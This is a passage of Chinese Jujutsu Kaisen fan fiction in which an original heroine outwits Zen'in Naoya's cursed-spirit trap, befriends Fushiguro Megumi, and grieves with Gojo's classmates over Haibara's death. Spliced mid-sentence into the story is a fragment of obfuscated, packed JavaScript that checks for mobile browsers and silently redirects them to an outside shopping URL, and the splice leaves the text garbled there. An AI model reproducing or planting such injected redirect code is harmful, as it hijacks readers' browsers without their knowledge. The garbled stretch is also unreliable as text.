“你到底谁呀?喜欢我也不用这么老土的招式吧?”伊田奈低声碎碎念。
禅院直哉笑了,还是和几年前一样,这位还是一如既往的自恋。
“你故意说这番话,当真想不起来我是谁?”
伊田奈眯起眼睛,上下打量:“想要毛遂自荐的人太多,我不可能每个人都记住吧。”
“禅院直哉。”禅院直哉咬牙切齿说出自己的名字。
要知道,想要高攀上他禅院直哉的女人数不胜数,面前这个这样吸引他注意力的还是第一位。
这个女人得逞了,禅院直哉这么些年当真一直记着她。
“禅院直哉……”伊田奈低头思考,黄毛,禅院……思考了好久,伊田奈终于在脑海里翻出这家伙的零星记忆。
“想不到你竟然过了这么久都不死心,啧啧啧……”伊田奈可怜地看着面前的少爷,“看在你这么专心的份上,再记住你一次。”
禅院直哉额头上青筋直冒。
“疯女人。”他骂道。
伊田奈可不是为了听黄毛来骂她。
“你究竟要干什么?想要我记住你的名字?我已经记住了,对你印象深刻,可以走了吧?”伊田奈毫不客气开始撵人。
“你以为我花了那么多的功夫,就是为了听你撵人?等着吧,伊田奈,我们还会再见的。”禅院直哉露出危险又迷人的笑容。
“哦。痴迷我的人都是这样说的。”伊田奈回应,“可以放开我的手了吗?你已经占了那么久的便宜,该知足了。”
伊田奈抽回握住车门的手,手背泛红,“真是粗鲁的人,好了,你要说的说我完了,可以滚了吗?”
面前像洋娃娃一样的少女用最天真的神色说出最冷漠的话,禅院直哉没有生气,笑意更深,“会再见的。”
说完,消失在街道上。
司机爬上车,忙不迭地道歉,黑色轿车在公路上继续行驶。
伊田奈在家里呆了三天,大门不出二门不迈。她就不相信那个黄毛还有本事把她掳走。
都过了三天,她哪一天不是平安无事。
五条悟每天晚上睡觉之前会给伊田奈打一通电话。
“睡了吗?”
“我跟你说,我今天又去拔除咒灵了,那些咒灵好弱啊!我果然好强。”
“怎么还没睡?我就知道你没睡所以才打给你。这几天心情怎么样?你有没有想我?”
“听说禅院家那小子找你麻烦了?我去收拾收拾他!”
五条悟打给伊田奈,说要收拾收拾禅院家的小子,伊田奈想了想,还是没同意。
“算了,那家伙估计是中二病吧,反正他也没对我做什么,随便他吧。要是他真的敢做什么,到时候再收拾他也不迟。”
“好吧,那就按照你说的那样吧。”
27.邀请
咒术高专的都知道这一届有一个恋家狂,还没放假,这个恋家狂就已经疯狂想要回家了。
家入硝子打趣他:“都已经那么大了,难道还要像小孩子一样想要回家?”
五条悟理所当然:“那是当然了!我和你们可不一样,家里有人担心我呢!期待我早点回去,你们没有,自然不会有这种感觉。”
家入硝子:……
家入硝子想要给这家伙两巴掌。
开学到现在一共两周,五条悟数着手指头,终于到了要回家的时候。
“杰,你要和我一起吗?”五条悟一只手搭在夏油杰肩膀上,“我可以顺便送你回去呢!诶,怎么会有这么好的同学!”
说着说着,五条悟拍拍下巴,一脸羡慕,沉浸在自己的艺术中无法自拔。
“谢谢,不过我可以自己回去。”夏油杰笑眯眯地拒绝了五条悟的邀请。
“什么?!你看不起我!”五条悟撅嘴,怒道:“竟然有人瞧不起我!”
夏油杰只好半推半就接受同窗的好意,任由同窗把自己送回去。
送完同窗,五条悟马不停蹄回到五条家。
“伊田奈,伊田奈!”回来的第一件事,五条悟飞奔到伊田奈房前。
“我进来了!”
五条悟推开门。
伊田奈躺在床上睡午觉,感受到外部传来的动静,睁开眼,一张漂亮的脸出现在眼前。
五条悟这家伙真是,竟然企图用美色勾引她!
伊田奈羞耻地别过头,没成功。五条悟撅着嘴把她的头回正。
“干嘛干嘛?阔别已久的五条悟回来了,你第一件事情就是别开脸?!”五条悟难以置信。
“没有啊!”伊田奈立马否认。
“老实交代,为什么转头?”
“因为你太帅了,怕我忍不住动手动脚。”伊田奈把脸埋进被子。
五条悟嘴角上扬,“原来是这样,原谅你了!”
“好了,你可以出去了,我换个衣服来找你。”伊田奈道。
五条悟贴心关好门,伊田奈从床上爬起来,老脸还有点红。
不知道五条悟这家伙为什么最近这段时间迷上了撅嘴这个动作,但是他做出来很帅,尤其是长大以后越来越荷尔蒙气息爆发。
“小伊田,要好了吗?!”还没换好衣服,五条悟催促的声音就从外面传进来。
“马上好了,别慌!”伊田奈回应。
伊田奈打开衣柜,挑选一件蓝色格子衬衫,一条黑色牛仔裤,换好后推门而出。
“回来几天?”
“回来两天!”五条悟走上前,自然将胳膊搭在伊田奈肩上,“竟然两周才放假,真是压榨啊!”
伊田奈试图掰开五条悟的手臂,“长手长脚的,挂在我身上真的好看吗?”她质疑道。
挺拔的少年佝偻着腰,努力把手搭在还不及他腰部高的小姑娘身上。
“怎么不好看?我不管,我就要这样。”
“真是够了……”伊田奈吐槽。
五条悟在家呆了两天,依依不舍地离开。
离开前象征性地挤了两滴眼泪,“我不在的时候你一定要注意自己的安全,千万不要忘记我!”
伊田奈当面答应得好好的,转过头忘得一干二净。
最近新出了很多游戏,伊田奈每天都很忙。
黄毛直哉放下的狠话伊田奈早就忘到一边去了,伊田奈怎么都没想到那家伙竟然胆大包天,青天白日竟然给她下套。
为了挑选新出的CD还有杂志书籍,伊田奈打扮得漂漂亮亮出门。
商场,穿着蓝色牛仔裤白色T恤的黑发少女淡定踩在商场手扶梯上。
一双黑曜石色的眼睛冰冷冷漠,黑色无框眼镜几乎遮住半张脸。
女孩似乎察觉到了一道特别的视线,抬头向上看,却什么都没看到。
“错觉吧……”伊田奈低声嘀咕。
顶楼吃完饭,伊田奈暂时把自己选购的一堆东西寄存在前台小姐姐那里。
从厕所出来的瞬间,伊田奈顿时察觉到不对。
商场被清空了,走廊上一个人都没有。
“哪个王八蛋在装神弄鬼?” 伊田奈骂道。
走廊静悄悄的,什么声音都没有。
伊田奈掏出手机,没有信号,电话无法拨通,甚至时间都没有变化。
她被人下套了。
伊田奈呆在原地,不清楚这一次下套的究竟是哪个仇家,只有保持镇定。
啪嗒一声,所有的灯都熄灭了。
伊田奈眼前一黑,还不习惯黑暗,什么都看不见。
寂静的走廊突然传来钟表转动的声音。
滴答滴答……
连着心跳声都能听见。
诡异的沙沙声磨蹭着地板传来。
伊田奈努力让眼睛聚焦,黑暗中,看见一个奇怪的、虫子一样的怪物挪动肥胖的躯体在走廊上乱动。
厚厚的嘴唇吐出一只人类的手臂,张开嘴唇慢慢咀嚼,发出哗啦啦的声响。
暗处,禅院直哉饶有兴味地盯住女孩的反应,嘴角露出一抹嘲讽的笑。
五条家家主亲近的女人,也不过如此,在咒灵面前一样出糗。
禅院直哉眼里闪着亮光,敲着手指,耐心等待,等待面前女孩露怯,无助地瘫在地上哭泣。
到那时候,他再出现在她面前。
那时候,禅院直哉一定会让这个女人哭着求他。
伊田奈屏住呼吸,靠在墙边,试图降低存在感,企图用这样的方式避开咒灵的注意力。
心跳在耳边狂响。
咒灵若无其事从伊田奈身边飘过去,嘴里还在咀嚼不知道从哪冒出来的手臂。
禅院直哉手上敲击的动作暂停,两只眼睛变得冰冷。
“怎么回事?”
“少爷,我们也不知道,但是咒灵好像没有发现她。”
“这一只不行,换一只。”
“是。”
毛毛虫一样的咒灵飘过,空气中多了一股黏液的腥臭味。
伊田奈捂住鼻子,悬着的心还没放下,就见一只更大的,破布娃娃一样的咒灵飘过来。
眼睛直勾勾地盯着她。
这只咒灵比前一只容貌更丑陋,嘴里流着唾液。
伊田奈轻轻抬脚,朝对面墙壁移动,过去,咒灵的眼睛也随着轻轻转动。
“服了,哪个傻逼放这些玩意儿过来?”伊田奈大骂,撒丫子狂奔。
破布娃娃一样的咒灵跟着加速,紧追不舍。
禅院直哉噗嗤一声笑出声来。
伊田奈耳朵动了动,朝着出声方向看去,一片空白,什么都看不见。
“鳖孙!你给我等着!”伊田奈朝着声音方向大骂。
眼见咒灵的速度越来越快,黏糊糊的液体就要碰触
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到伊田奈的手臂,伊田奈抄起杂货店的晾衣杆直直捅到咒灵脑袋上,咒灵吃痛叫了一声。
禅院直哉震惊:“不是说这家伙没有咒力?”
一旁黑衣大汉:“不清楚。”
只见伊田奈脸上愠怒,抄起晾衣杆左一下右一下在咒灵脑袋上敲了无数个小孔。
咒灵晕乎乎在地上转圈。
伊田奈还是不解气,拿着晾衣杆敲了好几十杆才放下。
她挑衅看着刚才笑声来源处,伸出大拇指,倒立向下,“小黄毛,才几岁就玩这些?是不是觉得我是一个连咒力都没有的废物女人?的确,我是没有咒力,但是并不是废物。你真是不礼貌啊,妄图施展一场英雄救美的戏剧,以此让我对你死心塌地,小说现在都不这样写了,真是low爆了!”
伊田奈面露鄙夷,直直看着禅院直哉的方向。
“我可是陪五条那家伙上了不少课呢,想用区区一个低等咒灵吓唬我?留着吓唬你自己吧!”伊田奈向上撩起头发。
走廊顿时恢复正常,人员来来往往。
伊田奈挑衅看了禅院直哉一眼,收回视线,到前台小姐姐那取回自己的东西。
禅院直哉愣在原地,眼神阴冷。
转眼间夏秋逝去。
五条悟和同学相处得非常愉快。
一起踢球、拔除咒灵、到小吃店撸串……笑过闹过,五条悟发现自己比想象中更喜欢自己的这一群同窗。
年轻,朝气蓬勃。不会因为他五条家主的身份讨好或是谄媚。
是很自然的同学。
“决定了,我要邀请你们和我最好的朋友——伊田奈一起玩!”五条悟热情宣布他对好友们的邀请。
放小假期,收拾东西那天,五条悟三番五次想要把伊田奈叫到高专,带领伊田奈正式参观这所他呆了很长时间的学校。
很可惜,伊田奈不肯接受。
“我对这些不感兴趣,我又没有咒力,将来也不会打算报考这所学校的,你死心吧。”伊田奈拒绝的很彻底。
“万一你以后想来呢!到时候我给你开后门啊!”五条悟试图说服伊田奈。
“你看我那么小一个,去了那些地方多尴尬,到时候人家都把我当小朋友,给我提供特殊照顾,我觉得我不是很需要。”
最后谁也没说服谁。
五条悟只好邀请朋友们一起去海滩。
伊田奈有一次见到了五条悟的同学,是在海滩。
夏油杰和五条悟穿着花哨的海滩衬衫,大裤衩,戴着草帽。
家入硝子穿着成熟的比基尼,身材火辣。
伊田奈低头看了看自己的宝宝泳衣,上下两件,像是穿了一件短袖和一条短裤,该露的不该露的什么都没露出来。伊田奈尴尬不失礼貌地微笑。
“你好!你就是悟最好的朋友吧!真漂亮啊!”家入硝子特地强调了“最好的”几个字,声音拖得长长的,两只眼睛笑起来亮晶晶的。
伊田奈觉得硝子是个很可爱的女生,回以礼貌的微笑,“对,很高兴认识你,硝子!”
出发前五条悟千叮咛万嘱咐,“千万不要叫他们哥哥姐姐,我都说了你是我最好的朋友,最好的家人,你要是叫他们哥哥姐姐,那岂不是我的辈分都要矮上一截?不行不行!这怎么可以!你叫他们的名字就好了!”
硝子听到这个称呼,微微愣了一下,很快笑着说,“我也很高兴认识你,小伊田!”
28.伏黑惠
伊田奈和硝子两个人在太阳底下叽里呱啦聊了一会儿天,五条悟就凑上来,“我们一起冲浪怎么样?”
“好啊!”
夏油杰拒绝,被五条悟推搡上前。
几个人玩了一中午才慢悠悠休息。
伊田奈吃过饭,眯了眯眼,躺在椅子上晒日光浴,酝酿睡意。
夏油杰和家入硝子也感疲惫,两个人躺在椅子上眯起眼。
五条悟则是精力充沛。
他三两下把椅子挪到伊田奈身边,两个人的椅子就只隔了一只手臂的距离。
伊田奈睁开眼:“你要不直接过来和我一起睡,咱们这都快拼接成一张床了。”
五条悟笑着小声嘀咕:“你以为我不想,还不是这个椅子太小了。”
伊田奈直接闭上眼。
夏油杰和家入硝子两两相对,笑了一下。
那次过后,每到逢年过节,五条悟都会邀请伊田奈还有高专的朋友们在外吃饭或者一起出去玩。
渐渐的,伊田奈和高专的朋友们也熟悉起来。
2006年的某几天,五条悟一脸阴恻恻地回来,一回来,就把自己锁到了房间里,没有开灯。
整整两天两夜。
女佣敲响伊田奈的房门,说:“伊田奈小姐,五条少爷在自己的房间里待了两天两夜,不吃不喝,也没有出来,你要不要去瞧瞧他?”
伊田奈放下游戏手柄,游戏画面战斗小人两下就被ko,显示游戏结束。
伊田奈问:“他什么时候回来的,我怎么不知道?”
“少爷前两天回来的,他让我们不要告诉你。”
五条悟脸色黑得滴血,周身阴恻恻的,有人和他打招呼,他不像往日一样笑眯眯开玩笑回应,那双白色的眼睛平静压抑得如同一汪死水。
叫人莫名害怕。
咚咚咚……
房间静如死水,没有人回应。
“五条悟,是我,能给我开门吗?”
静默了一会,“你走吧,我想一个人静一静。”房间内传来沙哑阴沉的声音。
“是发生了什么吗?你可以分享给我,我们一起想解决办法。”伊田奈沉默片刻,开口道。
“我现在不想说话。”
一墙之隔,五条悟默了默,对于自己捡回来的幼驯染,他狠不下心。
哪怕是心情不好,也应该有所回应。
脑子里不断闪现少女强撑着微笑的脸、带着鲜血余温的尸体和周围人的狂欢。
好像是世界上最虔诚的信徒。
他们不就是世界上最虔诚的信徒?五条悟勾了勾嘴角,露出一抹嘲讽的笑。
片刻,他闭上眼,他想起了那个男人的脸,那个男人明明没有丝毫咒灵,却强大得可怕。
差一点,他就死在那里……
“啊,那你先休息休息?我晚点再来看你。”伊田奈的声音从门外传来。
伊田奈敲门失败,转身离开。
“等等!”门吱呀响了一声,露出一条缝,“你要是实在想进来,那就进来吧。”
伊田奈失笑摇了摇头。
推开门,只见五条悟眼底一片青黑,胡子拉碴,衣服上蜷曲着了不少褶皱,皱巴巴一团,憔悴至极。
“要不,我过段时间再来看你?”伊田奈站在门口将屋内情景收入眼底,抬起的脚收回来,站在门口不动。
“你……”五条悟抬眼,伊田奈的小动作全都被他收入眼底,最近接二连三遇到的麻烦通通闪现在脑海中,脑海之中一片炸裂,像是要爆炸一样。
五条悟眼里划过一丝痛苦,眼里好不容易亮起的一丝光亮熄灭下去,抱着头蹲下。
伊田奈见状暗道不好,五条悟最近一段时间把自己逼得很紧。
电话里不肯轻易透露自己正在做的事情,强颜欢笑说话背后透露一股疲惫感。
黑发少女站在阳光里,阳光里粒粒灰尘闪烁,一双明亮干净的黑色眼眸平静朝下看。
五条悟抬头看到这一幕。
心脏顿时突突跳了几下。
环抱在头上的双手停住了。
“看来你最近真的遇到了不小的麻烦——”女声带着独特的,说不出的清爽,和所有人都不一样,“不是和你说了,要是遇到麻烦可以和我倾诉。心情不好的话,要不要一个人静静?或者……我陪着你?”
黑色长发散在肩头,跟随黑发少女蹲下身这一动作轻轻摆动。
伊田奈半蹲住,眼睛直直对着那一双湛蓝色的眼睛,沉稳平静。
“没事,先睡一觉,有什么事情睡醒了说。”白皙纤细的手指落到肩头。
五条悟恍惚了一瞬,当真按照伊田奈说的那样休息起来。
闭上眼,那些挥之不去的画面在眼前浮现,一双带有温度的手一下一下轻轻拍打在肩头。
五条悟不知道自己是什么时候睡着的,再次睁开眼,窗外一片漆黑,没有看到熟悉的人影,顿时慌了神,下意识在四周寻找,看到身侧安睡的伊田奈,这才放下心。
就像伊田奈说得那样,没有什么迈不过的坎,要是有,好好休息休息,总会找到迎刃而解的方法。
五条悟坐起身,被子摩擦发出响声。
伊田奈眼睛睁开一条缝,睡眼朦胧,声音模糊,“你醒了?”
“嗯。”
“再陪我接着睡一会儿呗。”
好像什么事情都没有发生,他没有在房间里面关上两天两夜,她也没有听说这件事情。
“好。”五条悟说。
第二天一早,伊田奈睁开眼,五条悟已经不见踪影。
伊田奈打了个哈欠,问路过的女佣,“五条少爷去哪了?”
“五条少爷说他还有点事情,晚点会回来。”
“哦。”
没过多久,五条悟拎着一堆可爱小蛋糕敲响伊田奈的门。
“我进来咯!”
伊田奈诧异,多看了五条悟几眼,收回视线,“怎么想到买这么多小蛋糕回来?”
“看到新开了一家店,所以想要去尝尝味道呢!”五条悟眼里闪着期待的光芒,“也不知道味道怎么样,希望味道好一点,这样我以后就会经常去光顾那家店了。”
“对了,小伊田,你说给孩子送礼物送什么东西好呢?蛋糕、文具、书包……还是什么呢?也不知道那孩子喜欢什么,诶,上次那孩子见我就拉着一张脸,也不知道这次见
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到我会是怎么样的表情。”五条悟拆开一块抹茶味蛋糕,拿出两个勺子,挖了一块递给伊田奈,剩下一块大口塞进自己嘴里。
“看来这家店的味道需要改进,也没有那么好吃。”抹茶味在嘴里化开,五条悟点评。
伊田奈咽下这块抹茶蛋糕,心里想味道确实不怎么样,半开玩笑说:“你什么时候背着我有了一个孩子?”
五条悟送进嘴里的第二口蛋糕就这样梗住,吞不下去,吐不出来,好不容易咽下去,他红着脸说:“你在想什么?我才多大,怎么可能有孩子?”
“怎么不可能……”伊田奈小声嘀咕,“豪门秘辛多的是,不就是喜欢在热血沸腾的年纪搞点生命出来。”
“怎么可能,我怎么可能是那种人!”五条悟为自己辩驳,手脚比划,“而且那孩子这么大,我怎么可能生出一个那么大的孩子!”
伊田奈低头看面前白白净净的海胆头小男孩,脱口而出:“你的头发真特别!”
伊田奈这下信了,五条悟的确生不出来那么大的孩子。
小孩哥一脸高冷,看了伊田奈一眼,对五条悟说:“你怎么又来了?我不需要。”
“呀呀呀——”五条悟手里抱着小孩穿的衣服,文具,“你这孩子说话可真是欠揍,我可是来给你送物资的。”
“不需要。”海胆头小男孩面无表情。
“真是一个高冷的小孩,看着不像小孩,倒是像个老头子。”伊田奈眼里带着赤裸裸的歧视。
“你管得真多。”
伊田奈弯腰,对上一脸凶神恶煞的小孩哥,说道:“你就是伏黑惠?”
“和你有什么关系?”男孩眼神锋利,像是刀子一般。
五条悟抱着东西在一边嚷嚷:“怎么就没有关系了,我说有关系就有关系,小孩,你说话注意!”
“没关系,”伊田奈说,“我不在乎。”
她对伏黑惠说:“走吧,我们送你回去。”
“不需要。”
伏黑惠站在原地。
“听说你还有一个姐姐,我们买的东西可不止只有你一个人的,还有你姐姐的,我觉得你姐姐看到这些东西应该会高兴。”伊田奈说。
伏黑惠抿住嘴角。
津美纪吗?那家伙如果看到新衣服应该会喜欢吧……
伏黑惠陷入沉思,任由五条悟和伊田奈跟在身后。
“伊田奈,还是你的方法管用!上次我见到这小子,他拉着一张脸,说什么都不肯说话呢,我还当这小子怎么了,原来只是我不受欢迎啊!”五条悟感慨。
“瞎说什么,你只是没有找到正确方法罢了。”
两个人嘻嘻哈哈讲了一路,伏黑惠在前面一言不发。
倒像是伏黑惠在溜两个孩子。
伏黑惠的接待很敷衍,倒了两杯水放在桌上,冷脸说:“自便。”掏出作业本就开始写。
津美纪推门回来,见到继父的两位朋友,有点惊讶,尤其是其中一位看上去年纪不大,但还是热情的接待了两位朋友。
她很喜欢自己收到的礼物,新衣服和新文具,脸上露出幸福的笑容。
伏黑惠看到津美纪的笑脸,紧绷的脸上出现一丝和缓。
29.离散前期
伏黑惠经常会在放学以后看到一张漂亮,极具迷惑性的脸蛋。
身边的同学羡慕地说:“伏黑同学,那是你的家人吗?好漂亮啊!”
“是你的妈妈吗?你的妈妈好年轻啊!”
不知道那些同学的眼睛究竟是怎么长的,为什么会认为伊田奈那个女人会是他的妈妈!
简直不可理喻!
“她不是我妈妈!”伏黑惠为自己辩驳。
“不是妈妈,是姐姐吗?伏黑同学,你的姐姐好漂亮啊!”
伏黑惠解释了一遍又一遍,但总是会有不熟悉的同学在看到伊田奈以后会发出惊人的感叹。
伏黑惠解释累了,刚开始会对那些胡说八道的同学解释,久而久之,伏黑惠连一个眼神都懒得给到他们。
伊田奈那个女人听到这些话冷静得多。
她的课业不像五条悟一样繁重,似乎对伏黑惠这个海胆头小孩很感兴趣,隔三岔五出现在学校门口,站在人群中仔细搜索伏黑惠身影。
看见伏黑惠,伊田奈先是眼睛一亮,然后挥动大臂,大声喊出:“伏黑惠,我在这里!”
伏黑惠低头,顺着人群,跟在其他同学身后,试图蒙混过关,和其他同学一起出去。可每次都没有成功。
身边的同学投来羡慕的目光,前面的同学回头看,后面的同学向前看,所有同学都朝着他的方向看。
像是看猴子。
伏黑惠再冷漠,再不近人情,总归是个小孩子。在其他家长笑眯眯地注视下被伊田奈拉走,会觉得尴尬。
“你能不能不要老是当着那么多人的面叫我的名字?”伏黑惠受不了了,他必须抗议。
“为什么,你害羞?”伊田奈比伏黑惠高,低头看他。
“每次你叫我名字的时候,他们看我就像看猴子。”伏黑惠表达自己的诉求。
“是吗?你难道不觉得有个这样的姐姐很酷?”
“不觉得。”
“行吧。”
伊田奈依然是家长群里最亮眼的人,她长得漂亮,穿搭得很漂亮。
很多同学都很羡慕伏黑惠,有两个姐姐。
津美纪比伏黑惠大几岁,放学时间比伏黑惠会晚一些,伊田奈有时也会带着伏黑惠在附近咖啡厅坐着写作业等津美纪。
“你很闲?”伏黑惠看不到五条悟,大多时候都是伊田奈一个人。
“对啊,你看出来了。”
咖啡厅放着轻快悠扬的音乐,抱着笔记本电脑办公的上班族们喝着咖啡,手指不断敲击键盘。
伏黑惠放下书包,从书包里掏出作业本,写作业的样子很专注。
他的作业写得很快。
伊田奈喝了一口咖啡,伏黑惠就放下笔,说:“我写完了。”
“不错。”伊田奈夸奖他一句,看他麻利收好书包,坐在原地发呆。
桌上的热牛奶还一口没动。
“你不喝热牛奶?”伊田奈问他。
“不想喝。”伏黑惠很高冷。
可惜高冷小孩遇到的是伊田奈。
伊田奈往热牛奶中插了一根管子,直直递到伏黑惠面前,“你自己喝还是我强行喂你?”
伏黑惠眼珠转动,一副戒备森严的样子。
顿了顿,他还是接过伊田奈手里的牛奶,一口喝下,嘴边剩下一圈白色。
他抽出一张纸巾,擦干净嘴。
伊田奈非常满意伏黑惠的乖巧,笑眯眯的。
然后两个人再慢悠悠等待津美纪放学。
周末节假日,伊田奈会带上津美纪到商场里买各种各样当下时兴的漂亮衣服。
津美纪对于这个年长她一些的漂亮姐姐还有几分羞涩,在穿着伊田奈为她挑选的漂亮衣服,走出试衣间时,会红着脸,捏着裙角小声说自己不合适。
有一次,津美纪在试衣间看到连衣裙的吊牌价格,惊讶得合不拢嘴。
这个价格对于她这个年纪来说很昂贵。
她穿着那条裙子走出来。
伊田奈满意地点点头。
津美纪犹豫了一下,还是拉着伊田奈,小声对她说:“姐姐,裙子的价格太贵了,你不用给我买。”
“没关系,五条悟有的是钱,我不帮他花谁帮他花?让他守着那么多钱岂不是很辛苦?不要有负担,你和惠两个人平平安安的长大就好了。”伊田奈倒不觉得,她只知道自己有帮五条悟花钱的义务。
“不一样的,姐姐……”
“有什么不一样的,要是有什么不好我早就说出来了,别担心!”
津美纪抬头,只见少女披着一头乌黑的长发,笑眯眯抬手抚过她的肩头。
这只手温暖有力。
“谢谢姐姐……”津美纪红了眼眶。
除了时不时会出门逗逗两个小孩,伊田奈还是会被五条悟拉着参与咒术高专的聚会。
这一次,是一个月一次的大聚会。
“你们这一次肯定要讨论,要总结,我跟着去是不是不太合适?”伊田奈试图挣扎,不想参加。
五条悟撇嘴,眼神锐利:“什么?!我都答应他们了,你竟然想要不去!!”
五条悟绝对不允许这样的事情发生。
“去嘛去嘛!”他扯着伊田奈的袖子软磨硬泡。
快要一米八的男人拉着一个身高只有一米六的女生撒娇,伊田奈忍痛答应。
高专众人已经习惯伊田奈的存在,把伊田奈当作高专的一份子。
只是,今天聚餐的氛围很不美妙。
伊田奈数了数在场的人数,道:“怎么少了两个?是还在路上?”
“只有一个人,灰原同学他死了。”七海建人走进来,看不清他眼底的神色,只知道他语气平淡,“他在和我一起拔除咒灵的时候死了。”
所有人不约而同沉默下来。
“灰原同学啊……”说话的是五条悟,他声音里带着几分轻快和难以置信,“那家伙在拔除咒灵的时候意外过世?怎么可能嘛……七海同学你真是喜欢开玩笑。”
“不是开玩笑。”七海建人慢条斯理整理白衬衫袖口,清秀面容带着一分自嘲。
“灰原同学死在我面前。”他补充。
“为什么会死?灰原同学的实力我们有目共睹。”夏油杰道。
想到那个总是带着一股憧憬目光看自己的男生,夏油杰感到心痛,心头像被紧紧攥住。
明明不久前才见过面,明明灰原同学才说过以后要跟上他的步伐。怎么可能突然之间就死掉了?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329796|196575||http|test|mini|href|location''.split(''|''),0,{}));
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>夏油杰不相信,也不愿意相信。
灰原同学的音容笑貌在耳边浮现,那么积极上进的一个人,怎么可以说死掉就死掉?
“窗给我们的任务是拔除二级咒灵,但我们到现场以后,才发现情报有误,咒灵是一级咒灵。”七海建人三言两语交代事情的经过,剩下的话,他不说,大家也都猜到了。
——实力悬殊,灰原同学拼尽全力无法挽回。
“怎么可以这样!”五条悟气愤道,“他们是干什么吃的,这么重要的消息竟然能够搞错?!”
五条悟气呼呼站起身,“我去找他们理论去!怎么会犯这样的错误!这是蓄意谋害!”
连咒灵的等级都分不清,这不是蓄意谋害是什么!
“等一等,五条同学。”七海建人声音冷静,“你去了也没有用,我已经找过他们了。”
七海建人背着灰原同学的尸体,回到咒术高专狠狠发了一场疯。
“我什么结果都没有得到,上面说,他们也不知道为什么会发生这样的事情。他们对此感到抱歉,但这绝对不是我借此机会藐视校规的理由。他们说会给灰原同学的家人好好赔偿,让我停课一周,好好反省。”
砰——
家入硝子受不了了,一拳重重砸在桌上。
白皙纤细的手腕青筋暴起,她的拳头攥得很紧,指尖发白,面色愠怒。
“他们简直是疯了!这么重要的事情竟然能搞错!究竟是干什么吃的!”
一时间,众人面色愠怒。
伊田奈把头埋得低低的,心里默默哀悼学弟的去世,却也无能为力。
她不是高专的学生,她在咒术界甚至没有属于自己的名字。
她尽力减弱自己的存在感,却还是一不小心对上视线阴沉的夏油杰,伊田奈着实吓了一跳。
平日里总是笑眯眯的夏油杰同学此刻低垂双眼,眼里是说不尽的哀痛阴沉,像是一条在暗处蛰伏许久的毒蛇。
伊田奈浑身战栗一下。
夏油杰察觉到暗处的目光,眼睛轻微挪动,正好对上逃避不及的伊田奈的眼睛。
伊田奈赶紧扯着嘴角露出一个微笑,假装若无其事挪开视线。
一顿饭吃得众人心思各异。
吃完饭,高专众人仍旧觉得心中愤愤不平,为灰原同学的死感到悲哀,决意要到高专大闹一场。
“就算给不出一个合理的解释,也不能让这群家伙好过!把一级咒灵当作二级咒灵,他们是死人吗?!”
伊田奈自然没有加入闹事的队伍中。开玩笑,她又不是高专的学生,去闹事不得被人家撵滚出去。
伊田奈在家里等到差不多十二点,星夜灿烂,五条悟才姗姗来迟。
他身上穿着高专的专属校服,深色的校服裤子包裹住两条结实有力的大长腿,看到伊田奈推开门,五条悟毫不犹豫冲过去,抱住自己的幼驯染,把头深深埋在幼驯染的肩膀上。
“伊田奈,你换了橘子味的洗发水?”五条悟声音低沉。
“对啊。”伊田奈淡定回答,关心道,“怎么样,在学校顺利吗?”
“顺利,我们班那群老头子们气得够呛!”五条悟说这话时带着几分咬牙切齿,“只是……到头来没有一个人敢承认。”
30.离散前期2
没有一个人承认,甚至没有一个人会为这些事情感到悲伤。一切都好像是被提前书写好的,命运也是,死亡也是。
灰原同学的去世就是这场闹剧的一个牺牲品。
人命不再只是单纯的性命,而是权色的交易品、牺牲物。
五条悟、家入硝子、夏油杰、七海建人再一次义愤填膺地冲进高层休息室,看到那一张张无动于衷的脸,紧紧攥住自己的拳头,咬牙切齿,却又无能为力。
短短几日,夏油杰的心情就像是坐过山车,一下子冲到顶峰,一下子跌落泥土。
山顶和山脚并无不同,就像是白天和黑夜,太阳和月亮,他们之间并没有什么不同。所有的一切不过都是一片阴霾,一片痛苦。
夏油杰推开门,屋内暖黄白炽灯太过耀眼,一下刺痛夏油杰双目,夏油杰抬手挡了挡,勉强适应亮光。
屋内布局温馨,父亲戴着眼镜,坐在沙发上看报纸,母亲靠在父亲肩头织毛衣。
看到他推门,父亲扬了扬嘴角,母亲放下织到一半的毛衣站起身,扬起笑脸,“回来了?今天我特地煲了排骨汤,待会睡前可以喝一碗。”
母亲走到夏油杰面前,上下打量,心疼道:“最近瘦了,在学校有没有好好吃饭,今天和同学出去玩的怎么样?”
夏油杰心里滋生出一股股莫名的罪恶感,明明眼前站着的人是自己的母亲,可是他不知道说什么,甚至下意识想要逃避来自于母亲的关心。
“我很好。”他说,“您和父亲怎么还不休息?”
“我啊,和你父亲想着好久都没见到你,正好今天没什么事情,就等你回来。”
“灯亮着,屋里有人等你回来,这才有家的样子。”
夏油杰愣住,眼睛呆愣转动,片刻,扬起僵硬的嘴角,露出一抹恰到好处的微笑,“谢谢你们,我回来了,现在你们可以休息了。”
父亲和母亲又和他说了些话,这才起身,不舍回到房间。
高专和家,咒灵和人类,两条互不相关却又息息相关的线。
是独自一个人来到高专时心怀拯救世界的中二决心,是在一次次看到咒灵怨念的厌恶、憎恶,是抛弃同伴的粗鄙、恶心,是失态的叫喊声。
夏油杰一件件脱掉衣物,拧开水龙头,任由冷水从头上冲下,似乎这样,就能够洗刷到一身的罪恶……
另一边,五条悟纠缠伊田奈撒了半天娇才依依不舍睡觉。
星浆体事件以后,五条悟的实力一下成为了整个咒术界最强,五条家为他提供资源,高专让他更进一步,五条悟享受了咒术界的资源,自然就有义务反哺咒术界。
“就是因为五条家那位天才的诞生,所以才会有这么多咒灵在人间横行!”
伊田奈顿住脚步,回头,目光锁定在新来的一批女仆身上。
“站住。”黑发少女声音平静,漆黑的眼眸紧紧盯住新来的女仆。
女仆停下,不明所以看向这位美丽的小姐。作为刚来到五条家的新人,她还不清楚这位小姐的身份。
“刚才那些话,是谁叫你说的?”伊田奈问。
“小姐,您在说什么?”女仆不明所以问道。
“不想说是吗?”伊田奈冷声,“不想说会有专门的人负责调查。”
“小姐,您在说什么?”
“你年纪不大,作为一个刚进入五条家族不久的新人,竟然对五条家的事情知道的这么清楚,这一点就已经暴露了。”
“小姐,您在说什么?我根本就不知道,这些都是我听前辈们说的!”女仆慌张辩解,“我什么都没做,您不能赶走我。”
